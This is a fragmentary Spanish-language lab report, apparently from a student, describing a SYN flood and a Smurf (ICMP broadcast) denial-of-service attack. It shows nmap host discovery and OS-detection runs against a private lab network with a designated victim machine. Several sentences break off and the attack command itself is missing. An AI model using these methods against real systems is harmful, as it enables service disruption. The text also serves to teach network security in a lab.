--faster Hace el intento de envio de SYN lo mas rápido

Ahora pruebe enviando mas paquetes por segundo y observe el rendimiento:

¿Que requisitos deben cumplirse para que el ataque sea efectivo?

La configuración de red de la víctima es:

Se abrió un servicio por el puerto 80: Mi página web http://amayac.iespana.es

Las capturas por Wireshark fueron las siguientes:

Se observa finalmente la cantidad de peticiones y de tramas del protocolo sin terminar.

3.2 Ataque Smurf

ELEMENTOS NECESARIO PARA REALIZAR EL ATAQUE:

Uso de ICMP (Internet Control Messaging Protocol), normalmente de la

Cambio de dirección origen, se manipula el encabezado del paquete ICMP cambiando la

INTERPRETACIÓN CON UN EJEMPLO:

COMPONENTES DEL ATAQUE

El ataque "smurf" tiene tres componentes principales:

QUE NECESITE PARA HACER EL ATAQUE:

Con nmap verifico o descubro las direcciones ip activas:

root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:51 COT

Me arroja un resultado de cinco (5) hots. Es decir incluye al router

Ejemplo para el host con la dirección 10.1.1.3

root@carlosubuntu:/home/carlos# nmap -O 10.1.1.3

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:54 COT

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Y para el host que destine como victima el Ubuntu 8.10

root@carlosubuntu:/home/carlos# nmap -O 10.1.1.2

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:55 COT

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .

La víctima es el equipo Ubuntu 8.10 con l dirección ip 10.1.1.2. la dirección de broadcast de

La instrucción para el ataque se ejecuto así: